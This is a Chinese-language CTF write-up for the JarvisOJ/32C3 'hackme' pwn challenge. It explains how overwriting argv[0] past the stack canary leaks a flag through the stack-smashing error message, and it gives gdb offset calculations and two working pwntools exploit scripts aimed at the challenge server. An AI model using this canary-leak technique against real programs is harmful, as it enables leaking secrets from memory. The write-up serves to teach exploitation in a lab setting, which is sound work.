题目链接:

https://www.jarvisoj.com/challenges

题目bin文件来源:

github - ctfswriteup - 2015 - 32c3ctf - pwn - hackme

 

分析过程:

开启了NX与Canary

程序流程:

输入名字之后,即可输入一个地址去覆盖flag~这里涉及的知识点是:Stack Smash

当程序开启了Canary时,如果把该值覆盖,程序报错时会输出argv[0]的信息

void __attribute__ ((noreturn)) __stack_chk_fail (void)
{
  __fortify_fail ("stack smashing detected");
}
void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg)
{
  /* The loop is added only to keep gcc happy.  */
  while (1)
    __libc_message (2, "*** %s ***: %s terminated\n",
                    msg, __libc_argv[0] ?: "<unknown>");
}

所以,我们一旦能够覆盖argv[0]为flag,那么在输出报错信息时,就成功的泄露了flag的值

(1)我们需要的是偏移:从可以输入的栈指针到argv[0]的偏移值,即为我们需要填充的

(2)我们需要的是flag的地址:将argv[0]修改成flag的地址

 

偏移值怎么算?

在main前下断,查看argv[0]的栈偏移

Breakpoint 1, 0x00000000004006d0 in ?? ()
gdb-peda$ stack 20
0000| 0x7fffffffdbf8 --> 0x7ffff7a2d830 (<__libc_start_main+240>:	mov    edi,eax)
0008| 0x7fffffffdc00 --> 0x0 
0016| 0x7fffffffdc08 --> 0x7fffffffdcd8 --> 0x7fffffffe07e ("/home/……")

所以,argv[0]的地址值是0x7fffffffdcd8

在40080E处下断,gets函数之前看看esp在哪儿~

gdb-peda$ stack 5
0000| 0x7fffffffdac0 --> 0xff0000 
0008| 0x7fffffffdac8 --> 0xff0000000000 
0016| 0x7fffffffdad0 --> 0x0 
0024| 0x7fffffffdad8 --> 0x0 
0032| 0x7fffffffdae0 --> 0x0 
gdb-peda$ p $esp
$5 = 0xffffdac0

所以偏移值为0x7fffffffdcd8 - 0x7fffffffdac0 = 0x218

flag值的地址为0x600D20

尝试写一下exp~发现不对~再调试一下

我们在memset之前,也就是400873下断,如下:

我们看到,600D20的flag值被覆盖掉了~

那么,需要找到一个不被覆盖的flag值!

所以,我们利用flag值的位置为0x400D20

exp为:

#!/usr/bin/env python
# coding=utf-8

from pwn import *
io = remote("pwn.jarvisoj.com", 9877)

argv_addr = 0x7fffffffdcd8
name_addr = 0x7fffffffdac0
flag_addr = 0x600d20
new_flag_addr = 0x400d20
hello_addr = 0x400934

#payload = "A" * (argv_addr - name_addr) + p64(hello_addr)
payload = "A" * (argv_addr - name_addr) + p64(new_flag_addr)

io.recvuntil("name?")
io.sendline(payload)
io.interactive()

注释掉的代码是输出了Hello字符串的,表达意思是任何有的字符串都可以输出

第二种做法!

不需要计算偏移!

既然argv[0]一定在栈上,那么覆盖足够长的栈空间均为flag的值就可以了呀!

#!/usr/bin/env python
# coding=utf-8

from pwn import *
io = remote("pwn.jarvisoj.com", 9877)

io.recv()
flag_addr = 0x400d20
payload = p64(flag_addr) * 300
io.sendline(payload)
io.interactive()

参考链接:

https://www.jianshu.com/p/6afc68389901

https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/fancy-rop/#_13